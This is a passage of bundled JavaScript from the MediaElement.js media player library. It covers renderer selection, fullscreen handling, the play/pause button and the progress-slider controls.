callbacks = t.mediaElement.events[event.type]; if (callbacks) { for (var _i6 = 0; _i6 < callbacks.length; _i6++) { callbacks[_i6].apply(null, [event]); } } }; t.mediaElement.destroy = function () { var mediaElement = t.mediaElement.originalNode.cloneNode(true); var wrapper = t.mediaElement.parentElement; mediaElement.removeAttribute('id'); mediaElement.remove(); t.mediaElement.remove(); wrapper.appendChild(mediaElement); }; if (mediaFiles.length) { t.mediaElement.src = mediaFiles; } if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } }).catch(function () { if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } }); } else { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } } return t.mediaElement; }; _window2.default.MediaElement = MediaElement; _mejs2.default.MediaElement = MediaElement; exports.default = MediaElement; },{"2":2,"25":25,"27":27,"28":28,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var mejs = {}; mejs.version = '4.2.16'; mejs.html5media = { properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'], readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'], methods: ['load', 'play', 'pause', 'canPlayType'], events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'], mediaTypes: ['audio/mp3', 'audio/ogg', 'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv'] }; _window2.default.mejs = mejs; exports.default = mejs; },{"3":3}],8:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.renderer = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Renderer = function () { function Renderer() { _classCallCheck(this, Renderer); this.renderers = {}; this.order = []; } _createClass(Renderer, [{ key: 'add', value: function add(renderer) { if (renderer.name === undefined) { throw new TypeError('renderer must contain at least `name` property'); } this.renderers[renderer.name] = renderer; this.order.push(renderer.name); } }, { key: 'select', value: function select(mediaFiles) { var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var renderersLength = renderers.length; renderers = renderers.length ? renderers : this.order; if (!renderersLength) { var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i], rendererRanking = function rendererRanking(renderer) { for (var i = 0, total = rendererIndicator.length; i < total; i++) { if (rendererIndicator[i].test(renderer)) { return i; } } return rendererIndicator.length; }; renderers.sort(function (a, b) { return rendererRanking(a) - rendererRanking(b); }); } for (var i = 0, total = renderers.length; i < total; i++) { var key = renderers[i], _renderer = this.renderers[key]; if (_renderer !== null && _renderer !== undefined) { for (var j = 0, jl = mediaFiles.length; j < jl; j++) { if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) { return { rendererName: _renderer.name, src: mediaFiles[j].src }; } } } } return null; } }, { key: 'order', set: function set(order) { if (!Array.isArray(order)) { throw new TypeError('order must be an array of strings.'); } this._order = order; }, get: function get() { return this._order; } }, { key: 'renderers', set: function set(renderers) { if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') { throw new TypeError('renderers must be an array of objects.'); } this._renderers = renderers; }, get: function get() { return this._renderers; } }]); return Renderer; }(); var renderer = exports.renderer = new Renderer(); _mejs2.default.Renderers = renderer; },{"7":7}],9:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _constants = _dereq_(25); var Features = _interopRequireWildcard(_constants); var _general = _dereq_(27); var _dom = _dereq_(26); var _media = _dereq_(28); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { usePluginFullScreen: true, fullscreenText: null, useFakeFullscreen: false }); Object.assign(_player2.default.prototype, { isFullScreen: false, isNativeFullScreen: false, isInIframe: false, isPluginClickThroughCreated: false, fullscreenMode: '', containerSizeTimeout: null, buildfullscreen: function buildfullscreen(player) { if (!player.isVideo) { return; } player.isInIframe = _window2.default.location !== _window2.default.parent.location; player.detectFullscreenMode(); var t = this, fullscreenTitle = (0, _general.isString)(t.options.fullscreenText) ? t.options.fullscreenText : _i18n2.default.t('mejs.fullscreen'), fullscreenBtn = _document2.default.createElement('div'); fullscreenBtn.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'fullscreen-button'; fullscreenBtn.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + fullscreenTitle + '" aria-label="' + fullscreenTitle + '" tabindex="0"></button>'; t.addControlElement(fullscreenBtn, 'fullscreen'); fullscreenBtn.addEventListener('click', function () { var isFullScreen = Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || player.isFullScreen; if (isFullScreen) { player.exitFullScreen(); } else { player.enterFullScreen(); } }); player.fullscreenBtn = fullscreenBtn; t.options.keyActions.push({ keys: [70], action: function action(player, media, key, event) { if (!event.ctrlKey) { if (typeof player.enterFullScreen !== 'undefined') { if (player.isFullScreen) { player.exitFullScreen(); } else { player.enterFullScreen(); } } } } }); t.exitFullscreenCallback = function (e) { var key = e.which || e.keyCode || 0; if (t.options.enableKeyboard && key === 27 && (Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || t.isFullScreen)) { player.exitFullScreen(); } }; t.globalBind('keydown', t.exitFullscreenCallback); t.normalHeight = 0; t.normalWidth = 0; if (Features.HAS_TRUE_NATIVE_FULLSCREEN) { var fullscreenChanged = function fullscreenChanged() { if (player.isFullScreen) { if (Features.isFullScreen()) { player.isNativeFullScreen = true; player.setControlsSize(); } else { player.isNativeFullScreen = false; player.exitFullScreen(); } } }; player.globalBind(Features.FULLSCREEN_EVENT_NAME, fullscreenChanged); } }, cleanfullscreen: function cleanfullscreen(player) { player.exitFullScreen(); player.globalUnbind('keydown', player.exitFullscreenCallback); }, detectFullscreenMode: function detectFullscreenMode() { var t = this, isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName); var mode = ''; if (Features.HAS_TRUE_NATIVE_FULLSCREEN && isNative) { mode = 'native-native'; } else if (Features.HAS_TRUE_NATIVE_FULLSCREEN && !isNative) { mode = 'plugin-native'; } else if (t.usePluginFullScreen && Features.SUPPORT_POINTER_EVENTS) { mode = 'plugin-click'; } t.fullscreenMode = mode; return mode; }, enterFullScreen: function enterFullScreen() { var t = this, isNative = t.media.rendererName !== null && /(html5|native)/i.test(t.media.rendererName), containerStyles = getComputedStyle(t.getElement(t.container)); if (!t.isVideo) { return; } if (t.options.useFakeFullscreen === false && Features.IS_IOS && Features.HAS_IOS_FULLSCREEN && typeof t.media.originalNode.webkitEnterFullscreen === 'function' && t.media.originalNode.canPlayType((0, _media.getTypeFromFile)(t.media.getSrc()))) { t.media.originalNode.webkitEnterFullscreen(); return; } (0, _dom.addClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen'); (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen'); t.normalHeight = parseFloat(containerStyles.height); t.normalWidth = parseFloat(containerStyles.width); if (t.fullscreenMode === 'native-native' || t.fullscreenMode === 'plugin-native') { Features.requestFullScreen(t.getElement(t.container)); if (t.isInIframe) { setTimeout(function checkFullscreen() { if (t.isNativeFullScreen) { var percentErrorMargin = 0.002, windowWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth, screenWidth = screen.width, absDiff = Math.abs(screenWidth - windowWidth), marginError = screenWidth * percentErrorMargin; if (absDiff > marginError) { t.exitFullScreen(); } else { setTimeout(checkFullscreen, 500); } } }, 1000); } } t.getElement(t.container).style.width = '100%'; t.getElement(t.container).style.height = '100%'; t.containerSizeTimeout = setTimeout(function () { t.getElement(t.container).style.width = '100%'; t.getElement(t.container).style.height = '100%'; t.setControlsSize(); }, 500); if (isNative) { t.node.style.width = '100%'; t.node.style.height = '100%'; } else { var elements = t.getElement(t.container).querySelectorAll('embed, object, video'), _total = elements.length; for (var i = 0; i < _total; i++) { elements[i].style.width = '100%'; elements[i].style.height = '100%'; } } if (t.options.setDimensions && typeof t.media.setSize === 'function') { t.media.setSize(screen.width, screen.height); } var layers = t.getElement(t.layers).children, total = layers.length; for (var _i = 0; _i < total; _i++) { layers[_i].style.width = '100%'; layers[_i].style.height = '100%'; } if (t.fullscreenBtn) { (0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen'); (0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen'); } t.setControlsSize(); t.isFullScreen = true; var zoomFactor = Math.min(screen.width / t.width, screen.height / t.height), captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text'); if (captionText) { captionText.style.fontSize = zoomFactor * 100 + '%'; captionText.style.lineHeight = 'normal'; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = (screen.height - t.normalHeight) / 2 - t.getElement(t.controls).offsetHeight / 2 + zoomFactor + 15 + 'px'; } var event = (0, _general.createEvent)('enteredfullscreen', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }, exitFullScreen: function exitFullScreen() { var t = this, isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName); if (!t.isVideo) { return; } clearTimeout(t.containerSizeTimeout); if (Features.HAS_TRUE_NATIVE_FULLSCREEN && (Features.IS_FULLSCREEN || t.isFullScreen)) { Features.cancelFullScreen(); } (0, _dom.removeClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen'); (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen'); if (t.options.setDimensions) { t.getElement(t.container).style.width = t.normalWidth + 'px'; t.getElement(t.container).style.height = t.normalHeight + 'px'; if (isNative) { t.node.style.width = t.normalWidth + 'px'; t.node.style.height = t.normalHeight + 'px'; } else { var elements = t.getElement(t.container).querySelectorAll('embed, object, video'), _total2 = elements.length; for (var i = 0; i < _total2; i++) { elements[i].style.width = t.normalWidth + 'px'; elements[i].style.height = t.normalHeight + 'px'; } } if (typeof t.media.setSize === 'function') { t.media.setSize(t.normalWidth, t.normalHeight); } var layers = t.getElement(t.layers).children, total = layers.length; for (var _i2 = 0; _i2 < total; _i2++) { layers[_i2].style.width = t.normalWidth + 'px'; layers[_i2].style.height = t.normalHeight + 'px'; } } if (t.fullscreenBtn) { (0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen'); (0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen'); } t.setControlsSize(); t.isFullScreen = false; var captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text'); if (captionText) { captionText.style.fontSize = ''; captionText.style.lineHeight = ''; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = ''; } var event = (0, _general.createEvent)('exitedfullscreen', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } }); },{"16":16,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"5":5}],10:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { playText: null, pauseText: null }); Object.assign(_player2.default.prototype, { buildplaypause: function buildplaypause(player, controls, layers, media) { var t = this, op = t.options, playTitle = (0, _general.isString)(op.playText) ? op.playText : _i18n2.default.t('mejs.play'), pauseTitle = (0, _general.isString)(op.pauseText) ? op.pauseText : _i18n2.default.t('mejs.pause'), play = _document2.default.createElement('div'); play.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'playpause-button ' + t.options.classPrefix + 'play'; play.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + playTitle + '" aria-label="' + pauseTitle + '" tabindex="0"></button>'; play.addEventListener('click', function () { if (t.paused) { t.play(); } else { t.pause(); } }); var playBtn = play.querySelector('button'); t.addControlElement(play, 'playpause'); function togglePlayPause(which) { if ('play' === which) { (0, _dom.removeClass)(play, t.options.classPrefix + 'play'); (0, _dom.removeClass)(play, t.options.classPrefix + 'replay'); (0, _dom.addClass)(play, t.options.classPrefix + 'pause'); playBtn.setAttribute('title', pauseTitle); playBtn.setAttribute('aria-label', pauseTitle); } else { (0, _dom.removeClass)(play, t.options.classPrefix + 'pause'); (0, _dom.removeClass)(play, t.options.classPrefix + 'replay'); (0, _dom.addClass)(play, t.options.classPrefix + 'play'); playBtn.setAttribute('title', playTitle); playBtn.setAttribute('aria-label', playTitle); } } togglePlayPause('pse'); media.addEventListener('loadedmetadata', function () { if (media.rendererName.indexOf('flash') === -1) { togglePlayPause('pse'); } }); media.addEventListener('play', function () { togglePlayPause('play'); }); media.addEventListener('playing', function () { togglePlayPause('play'); }); media.addEventListener('pause', function () { togglePlayPause('pse'); }); media.addEventListener('ended', function () { if (!player.options.loop) { (0, _dom.removeClass)(play, t.options.classPrefix + 'pause'); (0, _dom.removeClass)(play, t.options.classPrefix + 'play'); (0, _dom.addClass)(play, t.options.classPrefix + 'replay'); playBtn.setAttribute('title', playTitle); playBtn.setAttribute('aria-label', playTitle); } }); } }); },{"16":16,"2":2,"26":26,"27":27,"5":5}],11:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _time = _dereq_(30); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { enableProgressTooltip: true, useSmoothHover: true, forceLive: false }); Object.assign(_player2.default.prototype, { buildprogress: function buildprogress(player, controls, layers, media) { var lastKeyPressTime = 0, mouseIsDown = false, startedPaused = false; var t = this, autoRewindInitial = player.options.autoRewind, tooltip = player.options.enableProgressTooltip ? '<span class="' + t.options.classPrefix + 'time-float">' + ('<span class="' + t.options.classPrefix + 'time-float-current">00:00</span>') + ('<span class="' + t.options.classPrefix + 'time-float-corner"></span>') + '</span>' : '', rail = _document2.default.createElement('div'); rail.className = t.options.classPrefix + 'time-rail'; rail.innerHTML = '<span class="' + t.options.classPrefix + 'time-total ' + t.options.classPrefix + 'time-slider">' + ('<span class="' + t.options.classPrefix + 'time-buffering"></span>') + ('<span class="' + t.options.classPrefix + 'time-loaded"></span>') + ('<span class="' + t.options.classPrefix + 'time-current"></span>') + ('<span class="' + t.options.classPrefix + 'time-hovered no-hover"></span>') + ('<span class="' + t.options.classPrefix + 'time-handle"><span class="' + t.options.classPrefix + 'time-handle-content"></span></span>') + ('' + tooltip) + '</span>'; t.addControlElement(rail, 'progress'); t.options.keyActions.push({ keys: [37, 227], action: function action(player) { if (!isNaN(player.duration) && player.duration > 0) { if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var timeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'time-total'); if (timeSlider) { timeSlider.focus(); } var newTime = Math.max(player.currentTime - player.options.defaultSeekBackwardInterval(player), 0); if (!player.paused) { player.pause(); } setTimeout(function () { player.setCurrentTime(newTime); }, 0); setTimeout(function () { player.play(); }, 0); } } }, { keys: [39, 228], action: function action(player) { if (!isNaN(player.duration) && player.duration > 0) { if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var timeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'time-total'); if (timeSlider) { timeSlider.focus(); } var newTime = Math.min(player.currentTime + player.options.defaultSeekForwardInterval(player), player.duration); if (!player.paused) { player.pause(); } setTimeout(function () { player.setCurrentTime(newTime); }, 0); setTimeout(function () { player.play(); }, 0); } } }); t.rail = controls.querySelector('.' + t.options.classPrefix + 'time-rail'); t.total = controls.querySelector('.' + t.options.classPrefix + 'time-total'); t.loaded = controls.querySelector('.' + t.options.classPrefix + 'time-loaded'); t.current = controls.querySelector('.' + t.options.classPrefix + 'time-current'); t.handle = controls.querySelector('.' + t.options.classPrefix + 'time-handle'); t.timefloat = controls.querySelector('.' + t.options.classPrefix + 'time-float'); t.timefloatcurrent = controls.querySelector('.' + t.options.classPrefix + 'time-float-current'); t.slider = controls.querySelector('.' + t.options.classPrefix + 'time-slider'); t.hovered = controls.querySelector('.' + t.options.classPrefix + 'time-hovered'); t.buffer = controls.querySelector('.' + t.options.classPrefix + 'time-buffering'); t.newTime = 0; t.forcedHandlePause = false; t.setTransformStyle = function (element, value) { element.style.transform = value; element.style.webkitTransform = value; element.style.MozTransform = value; element.style.msTransform = value; element.style.OTransform = value; }; t.buffer.style.display = 'none'; var handleMouseMove = function handleMouseMove(e) { var totalStyles = getComputedStyle(t.total), offsetStyles = (0, _dom.offset)(t.total), width = t.total.offsetWidth, transform = function () { if (totalStyles.webkitTransform !== undefined) { return 'webkitTransform'; } else if (totalStyles.mozTransform !== undefined) { return 'mozTransform '; } else if (totalStyles.oTransform !== undefined) { return 'oTransform'; } else if (totalStyles.msTransform !== undefined) { return 'msTransform'; } else { return 'transform'; } }(), cssMatrix = function () { if ('WebKitCSSMatrix' in window) { return 'WebKitCSSMatrix'; } else if ('MSCSSMatrix' in window) { return 'MSCSSMatrix'; } else if ('CSSMatrix' in window) { return 'CSSMatrix'; } }(); var percentage = 0, leftPos = 0, pos = 0, x = void 0; if (e.originalEvent && e.originalEvent.changedTouches) { x = e.originalEvent.changedTouches[0].pageX; } else if (e.changedTouches) { x = e.changedTouches[0].pageX; } else { x = e.pageX; } if (t.getDuration()) { if (x < offsetStyles.left) { x = offsetStyles.left; } else if (x > width + offsetStyles.left) { x = width + offsetStyles.left; } pos = x - offsetStyles.left; percentage = pos / width; t.newTime = percentage * t.getDuration(); if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) { t.setCurrentRailHandle(t.newTime); t.updateCurrent(t.newTime); } if (!_constants.IS_IOS && !_constants.IS_ANDROID) { if (pos < 0) { pos = 0; } if (t.options.useSmoothHover && cssMatrix !== null && typeof window[cssMatrix] !== 'undefined') { var matrix = new window[cssMatrix](getComputedStyle(t.handle)[transform]), handleLocation = matrix.m41, hoverScaleX = pos / parseFloat(getComputedStyle(t.total).width) - handleLocation / parseFloat(getComputedStyle(t.total).width); t.hovered.style.left = handleLocation + 'px'; t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')'); t.hovered.setAttribute('pos', pos); if (hoverScaleX >= 0) { (0, _dom.removeClass)(t.hovered, 'negative'); } else { (0, _dom.addClass)(t.hovered, 'negative'); } } if (t.timefloat) { var half = t.timefloat.offsetWidth / 2, offsetContainer = mejs.Utils.offset(t.getElement(t.container)), tooltipStyles = getComputedStyle(t.timefloat); if (x - offsetContainer.left < t.timefloat.offsetWidth) { leftPos = half; } else if (x - offsetContainer.left >= t.getElement(t.container).offsetWidth - half) { leftPos = t.total.offsetWidth - half; } else { leftPos = pos; } if ((0, _dom.hasClass)(t.getElement(t.container), t.options.classPrefix + 'long-video')) { leftPos += parseFloat(tooltipStyles.marginLeft) / 2 + t.timefloat.offsetWidth / 2; } t.timefloat.style.left = leftPos + 'px'; t.timefloatcurrent.innerHTML = (0, _time.secondsToTimeCode)(t.newTime, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat); t.timefloat.style.display = 'block'; } } } else if (!_constants.IS_IOS && !_constants.IS_ANDROID && t.timefloat) { leftPos = t.timefloat.offsetWidth + width >= t.getElement(t.container).offsetWidth ? t.timefloat.offsetWidth / 2 : 0; t.timefloat.style.left = leftPos + 'px'; t.timefloat.style.left = leftPos + 'px'; t.timefloat.style.display = 'block'; } }, updateSlider = function updateSlider() { var seconds = t.getCurrentTime(), timeSliderText = _i18n2.default.t('mejs.time-slider'), time = (0, _time.secondsToTimeCode)(seconds, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat), duration = t.getDuration(); t.slider.setAttribute('role', 'slider'); t.slider.tabIndex = 0; if (media.paused) { t.slider.setAttribute('aria-label', timeSliderText); t.slider.setAttribute('aria-valuemin', 0); t.slider.setAttribute('aria-valuemax', isNaN(duration) ? 0 : duration); t.slider.setAttribute('aria-valuenow', seconds); t.slider.setAttribute('aria-valuetext', time); } else { t.slider.removeAttribute('aria-label'); t.slider.removeAttribute('aria-valuemin'); t.slider.removeAttribute('aria-valuemax'); t.slider.removeAttribute('aria-valuenow'); t.slider.removeAttribute('aria-valuetext'); } }, restartPlayer = function restartPlayer() { if (new Date() - lastKeyPressTime >= 1000) { t.play(); } }, handleMouseup = function handleMouseup() { if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) { t.setCurrentTime(t.newTime); t.setCurrentRailHandle(t.newTime); t.updateCurrent(t.newTime); } if (t.forcedHandlePause) { t.slider.focus(); t.play(); } t.forcedHandlePause = false; }; t.slider.addEventListener('focus', function () { player.options.autoRewind = false; }); t.slider.addEventListener('blur', function () { player.options.autoRewind = autoRewindInitial; }); t.slider.addEventListener('keydown', function (e) { if (new Date() - lastKeyPressTime >= 1000) { startedPaused = t.paused; } if (t.options.enableKeyboard && t.options.keyActions.length) { var keyCode = e.which || e.keyCode || 0, duration = t.getDuration(), seekForward = player.options.defaultSeekForwardInterval(media), seekBackward = player.options.defaultSeekBackwardInterval(media); var seekTime = t.getCurrentTime(); var volume = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (keyCode === 38 || keyCode === 40) { if (volume) { volume.style.display = 'block'; } if (t.isVideo) { t.showControls(); t.startControlsTimer(); } var newVolume = keyCode === 38 ? Math.min(t.volume + 0.1, 1) : Math.max(t.volume - 0.1, 0), mutePlayer = newVolume <= 0; t.setVolume(newVolume); t.setMuted(mutePlayer); return; } else { if (volume) { volume.style.display = 'none'; } } switch (keyCode) { case 37: if (t.getDuration() !== Infinity) { seekTime -= seekBackward; } break; case 39: if (t.getDuration() !== Infinity) { seekTime += seekForward; } break; case 36: seekTime = 0; break; case 35: seekTime = duration; break; case 13: case 32: if (_constants.IS_FIREFOX) { if (t.paused) { t.play(); } else { t.pause(); } } return; default: return; } seekTime = seekTime < 0 || isNaN(seekTime) ? 0 : seekTime >= duration ? duration : Math.floor(seekTime); lastKeyPressTime = new Date(); if (!startedPaused) { player.pause(); } setTimeout(function () { t.setCurrentTime(seekTime); }, 0); if (seekTime < t.getDuration() && !startedPaused) { setTimeout(restartPlayer, 1100); } player.showControls(); e.preventDefault(); e.stopPropagation(); } }); var events = ['mousedown', 'touchstart']; t.slider.addEventListener('dragstart', function () { return false; }); for (var i = 0, total = events.length; i < total; i++) { t.slider.addEventListener(events[i], function (e) { t.forcedHandlePause = false; if (t.getDuration() !== Infinity) { if (e.which === 1 || e.which === 0) { if (!t.paused) { t.pause(); t.forcedHandlePause = true; } mouseIsDown = true; handleMouseMove(e); var endEvents = ['mouseup', 'touchend']; for (var j = 0, totalEvents = endEvents.length; j < totalEvents; j++) { t.getElement(t.container).addEventListener(endEvents[j], function (event) { var target = event.target; if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) { handleMouseMove(event); } }); } t.globalBind('mouseup.dur touchend.dur', function () { handleMouseup(); mouseIsDown = false; if (t.timefloat) { t.timefloat.style.display = 'none'; } }); } } }, _constants.SUPPORT_PASSIVE_EVENT && events[i] === 'touchstart' ? { passive: true } : false); } t.slider.addEventListener('mouseenter', function (e) { if (e.target === t.slider && t.getDuration() !== Infinity) { t.getElement(t.container).addEventListener('mousemove', function (event) { var target = event.target; if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) { handleMouseMove(event); } }); if (t.timefloat && !_constants.IS_IOS && !_constants.IS_ANDROID) { t.timefloat.style.display = 'block'; } if (t.hovered && !_constants.IS_IOS && !_constants.IS_ANDROID && t.options.useSmoothHover) { (0, _dom.removeClass)(t.hovered, 'no-hover'); } } }); t.slider.addEventListener('mouseleave', function () { if (t.getDuration() !== Infinity) { if (!mouseIsDown) { if (t.timefloat) { t.timefloat.style.display = 'none'; } if (t.hovered && t.options.useSmoothHover) { (0, _dom.addClass)(t.hovered, 'no-hover'); } } } }); t.broadcastCallback = function (e) { var broadcast = controls.querySelector('.' + t.options.classPrefix + 'broadcast'); if (!t.options.forceLive && t.getDuration() !== Infinity) { if (broadcast) { t.slider.style.display = ''; broadcast.remove(); } player.setProgressRail(e); if (!t.forcedHandlePause) { player.setCurrentRail(e); } updateSlider(); } else if (!broadcast && t.options.forceLive) { var label = _document2.default.createElement('span'); label.className = t.options.classPrefix + 'broadcast'; label.innerText = _i18n2.default.t('mejs.live-broadcast'); t.slider.style.display = 'none'; t.rail.appendChild(label); } }; media.addEventListener('progress', t.broadcastCallback); media.addEventListener('timeupdate', t.broadcastCallback); media.addEventListener('play', function () { t.buffer.style.display = 'none'; }); media.addEventListener('playing', function () { t.buffer.style.display = 'none'; }); media.addEventListener('seeking', function () { t.buffer.style.display = ''; }); media.addEventListener('seeked', function () { t.buffer.style.display = 'none'; }); media.addEventListener('pause', function () { t.buffer.style.display = 'none'; }); media.addEventListener('waiting', function () { t.buffer.style.display = ''; }); media.addEventListener('loadeddata', function () { t.buffer.style.display = ''; }); media.addEventListener('canplay', function () { t.buffer.style.display = 'none'; }); media.addEventListener('error', function () { t.buffer.style.display = 'none'; }); t.getElement(t.container).addEventListener('controlsresize', function (e) { if (t.getDuration() !== Infinity) { player.setProgressRail(e); if (!t.forcedHandlePause) { player.setCurrentRail(e); } } }); }, cleanprogress: function cleanprogress(player, controls, layers, media) { media.removeEventListener('progress', player.broadcastCallback); media.removeEventListener('timeupdate', player.broadcastCallback); if (player.rail) { player.rail.remove(); } }, setProgressRail: function setProgressRail(e) { var t = this, target = e !== undefined ? e.detail.target || e.target : t.media; var percent = null; if (target && target.buffered && target.buffered.length > 0 && target.buffered.end && t.getDuration()) { percent = target.buffered.end(target.buffered.length - 1) / t.getDuration(); } else if (target && target.bytesTotal !== undefined && target.bytesTotal > 0 && target.bufferedBytes !== undefined) { percent = target.bufferedBytes / target.bytesTotal; } else if (e && e.lengthComputable && e.total !== 0) { percent = e.loaded / e.total; } if (percent !== null) { percent = Math.min(1, Math.max(0, percent)); if (t.loaded) { t.setTransformStyle(t.loaded, 'scaleX(' + percent + ')'); } } }, setCurrentRailHandle: function setCurrentRailHandle(fakeTime) { var t = this; t.setCurrentRailMain(t, fakeTime); }, setCurrentRail: function setCurrentRail() { var t = this; t.setCurrentRailMain(t); }, setCurrentRailMain: function setCurrentRailMain(t, fakeTime) { if (t.getCurrentTime() !== undefined && t.getDuration()) { var nTime = typeof fakeTime === 'undefined' ? t.getCurrentTime() : fakeTime; if (t.total && t.handle) { var tW = parseFloat(getComputedStyle(t.total).width); var newWidth = Math.round(tW * nTime / t.getDuration()), handlePos = newWidth - Math.round(t.handle.offsetWidth / 2); handlePos = handlePos < 0 ? 0 : handlePos; t.setTransformStyle(t.current, 'scaleX(' + newWidth / tW + ')'); t.setTransformStyle(t.handle, 'translateX(' + handlePos + 'px)'); if (t.options.useSmoothHover && !(0, _dom.hasClass)(t.hovered, 'no-hover')) { var pos = 